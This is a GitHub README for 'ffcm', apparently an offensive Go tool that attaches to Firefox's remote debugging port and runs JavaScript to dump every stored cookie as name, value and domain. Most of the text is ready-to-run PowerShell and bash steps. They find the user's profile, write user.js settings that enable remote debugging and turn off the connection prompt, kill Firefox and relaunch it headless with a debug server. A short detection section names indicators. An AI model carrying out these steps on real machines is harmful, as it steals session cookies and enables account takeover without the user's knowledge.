Firefox - Debug Client for Cookie Access

July 22, 2020 · View on GitHub

Connect to Firefox debug port and issue Javascript commands and read responses - useful for grabbing cookies.

It works for Windows and macOS, should also work on Linux.

This technique is probably most useful when we don't have root or the user's credentials to decrypt cookies or can't attach a regular debugger to the browser process.

Example output: ffcm output

Technical details

The tool is written in Golang using concurrent sender/receiver routines. It creates a TCP connection to Firefox using net.Dial and then sends various method calls as JSON serialized objects to eventually run Javascript commands using the evaluateJSAsync API to access Services.cookies.cookies.

There is likely a much better/easier way to implemented this, as Firefox recently (since version 78) added a Network.getAllCookies Debug API as well.

The Mozilla documentation for the Remote Debug Protocol is located here.

The code leverages a single struct for 5 different "kind of" messages to the server.

The structure is named wireMessage and represents all possible JSON requests/responses. Due to the use of a single message type for all requests/responses it can get a bit messy trying to understand the code.

What inspired me to research this for Firefox? Go check out Cookie Crimes for Chrome by @mangopdf.

Basic usage

Assuming you have a Firefox instance to connect to and its listening at localhost:9222, just run:

.\ffcm.exe

The result is cookies in the form of name:value:domain

ffcm output

Command line options

-server: the name of the debug server, by default localhost
-port: the port of the debug server, by default set to use 9222
-command: JavaScript command to run (by default it iterates and returns cookies name/value pairs)
-log: flag that will enable logging to stdout for debug purposes, by default not specified

Note: By default the debug port of Firefox is not enabled. See the section below on how to setup and enable Firefox remote debug protocol.

Want to run some other code in the debugger?

You can pass in -command command line argument to run other Javascript code.

Enabling remote debugging

Enabling remote debugging is not (yet) built into the tool at this point.

To enable remote debugging the following Firefox settings have to be updated:

devtools.debugger.remote-enabled
devtools.debugger.prompt-connection
devtools.chrome.enabled

One can update the user.js file in profile folder which seems to get merged into the prefs.js file. If it does not work via the user.js file, you can try to update the prefs.js file directly - but for me the user.js file has worked well.

Firefox needs a restart for them to be picked up.

Some more experiementing with prefs.js might be interesting - maybe there is a way that does not require Firefox to restart.

Following are examples for Windows and macOS.

Windows setup

First, retrieve the users's profile via:

$firstprofile = (gci $env:APPDATA\Mozilla\Firefox\Profiles\*.default-rel* -Directory | Select-Object -First 1).FullName

And add the following lines to the user.js file (by default this file does not exist):

write 'user_pref("devtools.chrome.enabled", true);' | out-file $firstprofile\user.js -Append -Encoding ascii
write 'user_pref("devtools.debugger.remote-enabled", true);'  | out-file $firstprofile\user.js -Append -Encoding ascii
write 'user_pref("devtools.debugger.prompt-connection", false);' | out-file $firstprofile\user.js -Append -Encoding ascii

That's it, next time Firefox starts the settings will be applied.

Connecting and launching ffcm

Here are two commands that might come in handy when trying this, first is to terminate all instances of Firefox:

Get-Process -Name firefox | Stop-Proces

And launching Firefox with the -start-debugger-server option:

Start-Process 'C:\Program Files\Mozilla Firefox\firefox.exe' -ArgumentList "-start-debugger-server 9222 -headless"

After that you can launch ffcm.exe the results are sent to stdout.

End to end demo scenario on Windows

$firstprofile = (gci $env:APPDATA\Mozilla\Firefox\Profiles\*.default-rel* -Directory | Select-Object -First 1).FullName

write 'user_pref("devtools.chrome.enabled", true);' | out-file $firstprofile\user.js -Append -Encoding ascii
write 'user_pref("devtools.debugger.remote-enabled", true);'  | out-file $firstprofile\user.js -Append -Encoding ascii
write 'user_pref("devtools.debugger.prompt-connection", false);' | out-file $firstprofile\user.js -Append -Encoding ascii

Get-Process -Name firefox | Stop-Proces
Start-Process 'C:\Program Files\Mozilla Firefox\firefox.exe' -ArgumentList "-start-debugger-server 9222 -headless"

./ffcm.exe 
[...results ...]

Get-Process -Name firefox | Stop-Proces

macOS setup and example

Things are basically the same, besides different folder names usage of a different shell.

First, the updates to the user.js file:

firstprofile=$(echo $HOME/Library/Application\ Support/Firefox/Profiles/*.default-rel*)

echo 'user_pref("devtools.chrome.enabled", true);'              >> "$firstprofile/user.js"
echo 'user_pref("devtools.debugger.remote-enabled", true);'     >> "$firstprofile/user.js"
echo 'user_pref("devtools.debugger.prompt-connection", false);' >> "$firstprofile/user.js"

Killing existing instances

To enable the new settings, a fresh instance of Firefox needs to start up. Can be done with either pkill firefox or regular kill command:ps aux | grep -ie firefox | awk '{print \$2}' | xargs kill -9

Figuring out a way via -new-instance or copying profiles might also work, but I have not tried these variations

Launching Firefox with debugger API exposed

/Applications/Firefox.app/Contents/MacOS/firefox --start-debugger-server 9222 &

Now you can run ./ffcm and enjoy the results.

Consider cleaning up and reverting changes at the end also.

Detections and alerting

Looking for -start-debugger-server command line arguments to Firefox
Modification of user.js and prefs.js files, especially modifications to the 3 settings related to enabling remote debugging

Build

Very simple, get the code (main.go file) and build it.

Get the code

go get github.com/wunderwuzzi23/firefox-cookiemonster

git clone https://github.com/wunderwuzzi23/firefox-cookiemonster

Build command

build -o ffcm main.go

Cross compile

If you code Go on Linux or WSL you can cross-compile with:

$ env GOARCH=amd64 GOOS=windows go build -o ffcm.exe main.go

Interesting behavior with cross compiled Go binaries!

Windows Defender seems to be doing some extra security scans for cross compiled binaries. I got a popup from Defender saying it might take up to 10 seconds for the binary to run because its being scanned... It still ran without issues though. When compiling natively on Windows there was no extra scan or popup.